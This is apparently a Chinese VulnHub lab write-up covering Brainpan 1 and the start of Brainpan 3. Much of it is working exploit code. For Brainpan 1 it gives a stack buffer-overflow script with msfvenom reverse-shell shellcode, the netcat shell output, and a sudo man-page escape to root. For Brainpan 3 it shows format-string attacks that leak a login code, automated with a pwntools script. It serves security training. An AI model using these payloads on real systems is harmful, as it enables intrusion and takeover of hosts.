[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B(_]
[get_reply] copied 1003 bytes to buffer
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub194.jpg)

再次成功地覆盖了eip。记下指令指针地址35724134，将其推入Metasploit的模式偏移工具中，这将提供为控制eip而需要发送到缓冲区的字节数。

``` bash
root@kali:~/vulnhub/brainpan1# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524
```

知道只需要524字节的“垃圾数据”就可以成为eip。相应地编辑模糊测试器，看看是否可以用某些B（\x42）成功覆盖eip。重新运行，重新连接并启动模糊测试器。


![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub195.jpg)

瞧！如所见，已成功用4个字节的B覆盖了eip。下一个是什么？接下来，看看是否可以将自己的代码放入esp中。如果可以将代码放入esp，将查找名为jmp esp的函数调用，告诉eip指向esp，从而能够执行存储在esp中的恶意代码。编辑模糊器，使其在esp中包含一堆C（\x43），并查看是否有足够的空间容纳潜在的Shellcode。

``` bash
import sys,socket
 
victim = '192.168.43.98'
port = 9999
 
junk = "\x41" * 524
eip = "\x42" * 4
shellcode = "\x43" * 500
 
payload = junk + eip + shellcode
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)
 
  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"
 
except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub196.jpg)

正如上面看到的，已经成功地用大量C填充了esp，这使知道有一些可用于放置shellcode的区域。让看看是否可以找到jmp esp函数的地址。在Immunity Debugger中，使用ctrl-f并输入搜索jmp esp。如所见，第一个jmp esp地址是311712F3。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub197.jpg)

下一步，生成一些shellcode，以测试概念验证（PoC）是否有效。由于要测试的PoC框是一个windoZe机器，因此将使用msfvenom生成一个简单的Windows reverse shell。

``` bash
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 R -e x86/shikata_ga_nai -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xba\x3a\x75\x8a\xdd\xd9\xed\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x53\x12\x03\x53\x12\x83\xd1\x89\x68"
buf += b"\x28\xd9\x9a\xef\xd3\x21\x5b\x90\x5a\xc4\x6a\x90\x39"
buf += b"\x8d\xdd\x20\x49\xc3\xd1\xcb\x1f\xf7\x62\xb9\xb7\xf8"
buf += b"\xc3\x74\xee\x37\xd3\x25\xd2\x56\x57\x34\x07\xb8\x66"
buf += b"\xf7\x5a\xb9\xaf\xea\x97\xeb\x78\x60\x05\x1b\x0c\x3c"
buf += b"\x96\x90\x5e\xd0\x9e\x45\x16\xd3\x8f\xd8\x2c\x8a\x0f"
buf += b"\xdb\xe1\xa6\x19\xc3\xe6\x83\xd0\x78\xdc\x78\xe3\xa8"
buf += b"\x2c\x80\x48\x95\x80\x73\x90\xd2\x27\x6c\xe7\x2a\x54"
buf += b"\x11\xf0\xe9\x26\xcd\x75\xe9\x81\x86\x2e\xd5\x30\x4a"
buf += b"\xa8\x9e\x3f\x27\xbe\xf8\x23\xb6\x13\x73\x5f\x33\x92"
buf += b"\x53\xe9\x07\xb1\x77\xb1\xdc\xd8\x2e\x1f\xb2\xe5\x30"
buf += b"\xc0\x6b\x40\x3b\xed\x78\xf9\x66\x7a\x4c\x30\x98\x7a"
buf += b"\xda\x43\xeb\x48\x45\xf8\x63\xe1\x0e\x26\x74\x06\x25"
buf += b"\x9e\xea\xf9\xc6\xdf\x23\x3e\x92\x8f\x5b\x97\x9b\x5b"
buf += b"\x9b\x18\x4e\xcb\xcb\xb6\x21\xac\xbb\x76\x92\x44\xd1"
buf += b"\x78\xcd\x75\xda\x52\x66\x1f\x21\x35\x49\x48\x11\xa3"
buf += b"\x21\x8b\x61\x2a\x09\x02\x87\x46\x7d\x43\x10\xff\xe4"
buf += b"\xce\xea\x9e\xe9\xc4\x97\xa1\x62\xeb\x68\x6f\x83\x86"
buf += b"\x7a\x18\x63\xdd\x20\x8f\x7c\xcb\x4c\x53\xee\x90\x8c"
buf += b"\x1a\x13\x0f\xdb\x4b\xe5\x46\x89\x61\x5c\xf1\xaf\x7b"
buf += b"\x38\x3a\x6b\xa0\xf9\xc5\x72\x25\x45\xe2\x64\xf3\x46"
buf += b"\xae\xd0\xab\x10\x78\x8e\x0d\xcb\xca\x78\xc4\xa0\x84"
buf += b"\xec\x91\x8a\x16\x6a\x9e\xc6\xe0\x92\x2f\xbf\xb4\xad"
buf += b"\x80\x57\x31\xd6\xfc\xc7\xbe\x0d\x45\xf7\xf4\x0f\xec"
buf += b"\x90\x50\xda\xac\xfc\x62\x31\xf2\xf8\xe0\xb3\x8b\xfe"
buf += b"\xf9\xb6\x8e\xbb\xbd\x2b\xe3\xd4\x2b\x4b\x50\xd4\x79"
```

接下来，让把它们放在一起,payload将如下所示：{junk} {jmp esp地址} {nops + buf}

``` bash
import sys,socket
 
victim = '192.168.43.98'
port = 9999
 
junk = "\x41" * 524
eip = "\xf3\x12\x17\x31"
buf =  b"\x90" * 13
buf += b"\xba\x3a\x75\x8a\xdd\xd9\xed\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x53\x12\x03\x53\x12\x83\xd1\x89\x68"
buf += b"\x28\xd9\x9a\xef\xd3\x21\x5b\x90\x5a\xc4\x6a\x90\x39"
buf += b"\x8d\xdd\x20\x49\xc3\xd1\xcb\x1f\xf7\x62\xb9\xb7\xf8"
buf += b"\xc3\x74\xee\x37\xd3\x25\xd2\x56\x57\x34\x07\xb8\x66"
buf += b"\xf7\x5a\xb9\xaf\xea\x97\xeb\x78\x60\x05\x1b\x0c\x3c"
buf += b"\x96\x90\x5e\xd0\x9e\x45\x16\xd3\x8f\xd8\x2c\x8a\x0f"
buf += b"\xdb\xe1\xa6\x19\xc3\xe6\x83\xd0\x78\xdc\x78\xe3\xa8"
buf += b"\x2c\x80\x48\x95\x80\x73\x90\xd2\x27\x6c\xe7\x2a\x54"
buf += b"\x11\xf0\xe9\x26\xcd\x75\xe9\x81\x86\x2e\xd5\x30\x4a"
buf += b"\xa8\x9e\x3f\x27\xbe\xf8\x23\xb6\x13\x73\x5f\x33\x92"
buf += b"\x53\xe9\x07\xb1\x77\xb1\xdc\xd8\x2e\x1f\xb2\xe5\x30"
buf += b"\xc0\x6b\x40\x3b\xed\x78\xf9\x66\x7a\x4c\x30\x98\x7a"
buf += b"\xda\x43\xeb\x48\x45\xf8\x63\xe1\x0e\x26\x74\x06\x25"
buf += b"\x9e\xea\xf9\xc6\xdf\x23\x3e\x92\x8f\x5b\x97\x9b\x5b"
buf += b"\x9b\x18\x4e\xcb\xcb\xb6\x21\xac\xbb\x76\x92\x44\xd1"
buf += b"\x78\xcd\x75\xda\x52\x66\x1f\x21\x35\x49\x48\x11\xa3"
buf += b"\x21\x8b\x61\x2a\x09\x02\x87\x46\x7d\x43\x10\xff\xe4"
buf += b"\xce\xea\x9e\xe9\xc4\x97\xa1\x62\xeb\x68\x6f\x83\x86"
buf += b"\x7a\x18\x63\xdd\x20\x8f\x7c\xcb\x4c\x53\xee\x90\x8c"
buf += b"\x1a\x13\x0f\xdb\x4b\xe5\x46\x89\x61\x5c\xf1\xaf\x7b"
buf += b"\x38\x3a\x6b\xa0\xf9\xc5\x72\x25\x45\xe2\x64\xf3\x46"
buf += b"\xae\xd0\xab\x10\x78\x8e\x0d\xcb\xca\x78\xc4\xa0\x84"
buf += b"\xec\x91\x8a\x16\x6a\x9e\xc6\xe0\x92\x2f\xbf\xb4\xad"
buf += b"\x80\x57\x31\xd6\xfc\xc7\xbe\x0d\x45\xf7\xf4\x0f\xec"
buf += b"\x90\x50\xda\xac\xfc\x62\x31\xf2\xf8\xe0\xb3\x8b\xfe"
buf += b"\xf9\xb6\x8e\xbb\xbd\x2b\xe3\xd4\x2b\x4b\x50\xd4\x79"
 
payload = junk + eip + buf
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)
 
  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"
 
except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)
```

启动brainpan.exe程序，在端口443上创建netcat侦听器，然后测试一下PoC代码。

``` bash
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py
[-] Connecting to 192.168.43.98
[-] Sending payload....  Done
```

``` bash
root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.56.1: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.1] 18602
Microsoft Windows [�汾 10.0.18363.592]
(c) 2019 Microsoft Corporation����������Ȩ����

C:\Users\HASEE\Desktop\brainpan1>chcp 65001
chcp 65001
Active code page: 65001

C:\Users\HASEE\Desktop\brainpan1>whoami  
whoami
iz94tylsq69z\hasee

C:\Users\HASEE\Desktop\brainpan1>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7A49-F084

 Directory of C:\Users\HASEE\Desktop\brainpan1

2020/02/01  01:21    <DIR>          .
2020/02/01  01:21    <DIR>          ..
2020/01/31  20:48            21,190 brainpan.exe
2020/02/01  01:21             2,166 etfuzz.py
               2 File(s)         23,356 bytes
               2 Dir(s)  151,135,014,912 bytes free

C:\Users\HASEE\Desktop\brainpan1>net user
net user

User accounts for \\IZ94TYLSQ69Z

-------------------------------------------------------------------------------
Administrator            ASPNET                   DefaultAccount           
Guest                    HASEE                    WDAGUtilityAccount 
```

 - 注意：这个shell是测试电脑的shell，如果乱码，输入chcp 65001就不会乱码了

#### getshell

好东西…。现在有一个reverse TCP连接到我们的Windows计算机。是时候创建一个Linux reverse shell了。

``` bash
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 R -e x86/alpha_upper -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 205 (iteration=0)
x86/alpha_upper chosen with final size 205
Payload size: 205 bytes
Final size of python file: 1007 bytes
buf =  b""
buf += b"\x89\xe5\xd9\xcb\xd9\x75\xf4\x58\x50\x59\x49\x49\x49"
buf += b"\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += b"\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += b"\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += b"\x4a\x49\x30\x31\x49\x4b\x5a\x57\x4b\x53\x31\x43\x47"
buf += b"\x33\x46\x33\x53\x5a\x53\x32\x4b\x39\x4b\x51\x38\x30"
buf += b"\x52\x46\x58\x4d\x4d\x50\x4a\x33\x36\x39\x48\x30\x37"
buf += b"\x4f\x58\x4d\x4d\x50\x30\x49\x44\x39\x5a\x59\x35\x38"
buf += b"\x49\x50\x59\x38\x30\x38\x45\x36\x32\x48\x44\x42\x33"
buf += b"\x30\x35\x51\x4f\x4b\x4b\x39\x4b\x51\x38\x30\x42\x46"
buf += b"\x56\x30\x36\x31\x30\x53\x4f\x43\x33\x33\x4c\x49\x4b"
buf += b"\x51\x38\x4d\x4d\x50\x50\x52\x43\x58\x52\x4e\x46\x4f"
buf += b"\x44\x33\x52\x48\x53\x58\x36\x4f\x46\x4f\x32\x42\x53"
buf += b"\x59\x4d\x59\x4a\x43\x31\x42\x31\x43\x4c\x49\x4d\x31"
buf += b"\x38\x30\x34\x4b\x58\x4d\x4b\x30\x41\x41"
```

``` bash
import sys,socket
 
victim = '192.168.56.115'
port = 9999
 
junk = "\x41" * 524
eip = "\xf3\x12\x17\x31"
buf =  b"\x90" * 13
buf += b"\x89\xe5\xd9\xcb\xd9\x75\xf4\x58\x50\x59\x49\x49\x49"
buf += b"\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += b"\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += b"\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += b"\x4a\x49\x30\x31\x49\x4b\x5a\x57\x4b\x53\x31\x43\x47"
buf += b"\x33\x46\x33\x53\x5a\x53\x32\x4b\x39\x4b\x51\x38\x30"
buf += b"\x52\x46\x58\x4d\x4d\x50\x4a\x33\x36\x39\x48\x30\x37"
buf += b"\x4f\x58\x4d\x4d\x50\x30\x49\x44\x39\x5a\x59\x35\x38"
buf += b"\x49\x50\x59\x38\x30\x38\x45\x36\x32\x48\x44\x42\x33"
buf += b"\x30\x35\x51\x4f\x4b\x4b\x39\x4b\x51\x38\x30\x42\x46"
buf += b"\x56\x30\x36\x31\x30\x53\x4f\x43\x33\x33\x4c\x49\x4b"
buf += b"\x51\x38\x4d\x4d\x50\x50\x52\x43\x58\x52\x4e\x46\x4f"
buf += b"\x44\x33\x52\x48\x53\x58\x36\x4f\x46\x4f\x32\x42\x53"
buf += b"\x59\x4d\x59\x4a\x43\x31\x42\x31\x43\x4c\x49\x4d\x31"
buf += b"\x38\x30\x34\x4b\x58\x4d\x4b\x30\x41\x41"
 
payload = junk + eip + buf
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)
 
  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"
 
except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)
```

使用受害者主机的IP地址和更新的Shellcode更新PoC脚本，在端口443上创建一个新的netcat侦听器，并相应地执行，成功的返回了shell。

``` bash
root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.56.115: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.115] 39737
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty; pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ id
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:/home/puck$ whoami
whoami
puck
puck@brainpan:/home/puck$ ls
ls
checksrv.sh  web
puck@brainpan:/home/puck$
```

#### 提权

成功！现在，受害者计算机上有一个特权低的shell。继续。查看主目录，看是否有有趣的事情……。不。唯一值得注意的是，有一个脚本可以在死时重新启动Web服务，以及在端口10000上运行的Web服务的根目录。sudo可以使用任何特殊权限吗？

``` bash
puck@brainpan:/home$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
```

anansi_util NOPASSWD？很有趣。仔细看看。

``` bash
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
```

- manual [command]部分。看看是否可以使用root特权运行[command]。

成功的提权并找到了flag，吊炸天！！！

``` bash
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
BASH(1)                                                                BASH(1)

NAME
       bash - GNU Bourne-Again SHell

SYNOPSIS
       bash [options] [file]

COPYRIGHT
       Bash is Copyright (C) 1989-2011 by the Free Software Foundation, Inc.

DESCRIPTION
       Bash  is  an  sh-compatible  command language interpreter that executes
       commands read from the standard input or from a file.  Bash also incor‐
       porates useful features from the Korn and C shells (ksh and csh).

       Bash  is  intended  to  be a conformant implementation of the Shell and
       Utilities portion  of  the  IEEE  POSIX  specification  (IEEE  Standard
       1003.1).  Bash can be configured to be POSIX-conformant by default.

OPTIONS
       All  of  the  single-character shell options documented in the descrip‐
       tion of the set builtin command can be used as options when  the  shell
 Manual page bash(1) line 1 (press h for help or q to quit)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# whoami
whoami
root
root@brainpan:/usr/share/man# cd /root
cd /root
root@brainpan:~# ls
ls
b.txt
root@brainpan:~# cat b.txt
cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 



root@brainpan:~#
```

W00T !!!!!root！二进制文件允许以root用户身份查询联机帮助页，因此，可以使用man的内置功能来内联运行命令，例如上述输出中的！/bin/bash。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub198.jpg)

#### 知识点总结

 - 缓冲区溢出
 - od调试程序
 - python模糊测试脚本测试段错误
 - msf脚本生成填充缓冲区的字节
 - msfvenom生成reverse shell的python shellcode版本的代码
 - 覆盖eip将恶意shellcode代码放入esp取得reverseshell
 - man内置功能内联运行命令提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end brainpan-1 -->

</details>

<a id="case-brainpan-3"></a>

## 多个二进制之间的输入边界

原文两种方法覆盖 report、cryptor 与消息结构的不同内存缺陷。函数指针覆盖、格式化字符串、命令注入和 gadget 搜索深度作为独立分支保留。

<p class="kb-provenance">来源 brainpan-3 · 原记录 2020-02-03 · 134 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-brainpan-3">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start brainpan-3 -->

#### 名称
名称：brainpan: 3
发行日期：2015年7月27日

#### 难度

 - 万劫不复地狱难度

#### 下载

 - Download (Mirror): https://download.vulnhub.com/brainpan/brainpan3.zip
 - Download (Torrent): https://download.vulnhub.com/brainpan/brainpan3.zip.torrent

#### 描述

免责声明
使用此虚拟机，即表示您同意，我对任何损失或损害不承担任何责任，包括但不限于间接或间接损失或损害，或由于或来自于此而产生的数据或利润损失而造成的任何损失或损害。与使用此软件的连接。TL; DR：如果发生坏事，这不是我的错。

设定
Brainpan 3经过测试，发现可与VMware Player，VMware Fusion和Virtual Box一起使用。
检查并确保Brainpan_III.ova具有以下校验和，以便您知道下载的文件是否完整：

``` bash
MD5：170e0d8b26ab721587537fcde69087a0SHA1：ed9ae53c556a1ce6988b3a54621dd6469c8b8aa5
```

将Brainpan_III.ova导入到您首选的管理程序中，并根据需要配置网络设置。它会通过DHCP获得IP地址，但是建议您在NAT内运行它，或者仅对主机OS可见，因为它容易受到攻击。

目标
root机器并获取flag。

 - barrebas : https://twitter.com/barrebas
 - Swappage : https://twitter.com/Swappage



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.117
Host is up (0.00020s latency).
MAC Address: 08:00:27:90:21:26 (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -v -sV -Pn -p- 192.168.56.117 --system-dns
PORT     STATE  SERVICE    VERSION
1337/tcp open   waste?
8080/tcp closed http-proxy
```

#### 方法一

找到端口1337后，可以开始使用Brainpan3。可以设置一个小的脚本来轻松地与服务器交互：

bp3.py
``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)

r.interactive()
```

即使文字说

``` bash
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

最初的想法是，“太酷了，四位数，Go Go Gadget Brute Force！”。原来，不是在撒谎。经过3次尝试，这个数字确实改变了。

一个登录提示，可以尝试使输入缓冲区溢出，以尝试产生堆栈溢出。这种方法的问题在于，溢出后没有二进制文件可以进行分析。最有意义的漏洞利用是格式字符串。来一些格式字符串试试！

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Switching to interactive mode


  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _|
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    | 
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    | 
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman




AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE: $ %x.%x.%x.%x.%x.
ERROR #4: WHAT IS THIS, AMATEUR HOUR?

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

Herm ..是否在％x上进行过滤？尝试其他格式的字符串。

``` bash
ACCESS CODE: $ %p.%p.%p.%p.
ERROR #1: INVALID ACCESS CODE: 0xbf8a439c.(nil).0x22dd.0xbf8a439c.

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 2

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

现在知道此输入容易受到恶意格式字符串的攻击。由于正在寻找一个4位数的访问代码，因此可以假定它可能存储在堆栈中。尝试使用％d。

``` bash
ACCESS CODE: $ %d.%d.%d.%d.%d.%d.
ERROR #1: INVALID ACCESS CODE: -1081457764.0.4625.-1081457764.0.10.

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 3

BRUTE-FORCE ATTEMPT DETECTED
PLEASE USE THE NEW CODE DISPLAYED ON YOUR ACCESS TOKEN

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS
```

啊!这里的第三个数是什么：4625,尝试一下访问代码：

``` bash
ACCESS CODE: $ 4625

--------------------------------------------------------------
SESSION: ID-7034
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF
```

进来了！在继续进行之前，修改脚本以自动跳过访问代码：

 - 发送%d.%d.%d.%d.%d.%d
 - 提取第三个元素（访问代码）
 - 提交访问代码以进行登录

从这里开始，将继续向脚本中添加代码片段,结果如下：

``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.interactive()
```

运行
``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 8695
[*] Switching to interactive mode

--------------------------------------------------------------
SESSION: ID-4373
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: $
```

#### 第二步

现在已经登录，可以做更多的探索。看，已经使用Command 4获得了一个Shell：

``` bash
ENTER COMMAND: $ 4
SELECTED: 4
reynard@brainpan3 $ $ ls
total 0
-rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 give
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 up
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 let
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 down
```

当然，可以尝试溢出此shell脚本/二进制文件：

``` bash
reynard@brainpan3 $ $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./shell terminated
Aborted (core dumped)
```

经过更多尝试使用典型的recon命令whoami，uname -a等的探索，可以得出结论，该shell是无用的。尝试其他选项：

``` bash
ENTER COMMAND: $ 1
SELECTED: 1
REPORT MODE IS DISABLED IN THIS BUILD

SELECTED: 2

CODE REPOSITORY IS NOW AVAILABLE
```

看起来report模式当前处于禁用状态。可以尝试打开report，但是要怎么打开？

打开REPOSITORY，在端口8080上启用Web服务，该端口还具有/repo目录，其中包含在此步骤中使用的二进制文件：

![](http://ctfhacker.com/assets/images/repo-directory.png)

花一些时间了解这些二进制文件是如何工作的，但最终没有任何有用的东西。这里是否存在其他漏洞。

尚未查看的最后一个功能是“Update Session Name”功能：

``` bash
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ fuckfuckfuckfuck
--------------------------------------------------------------
SESSION: fuckfuckfuckfuck
```

有趣的是，可以从访问代码中使用会话名称复制字符串格式漏洞吗？

``` bash
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ %p.%p.%p.%p.%p.
--------------------------------------------------------------
SESSION: 0xbfcfddcc.0x104.0x252e7025.0x70252e70.0x2e70252e.
```
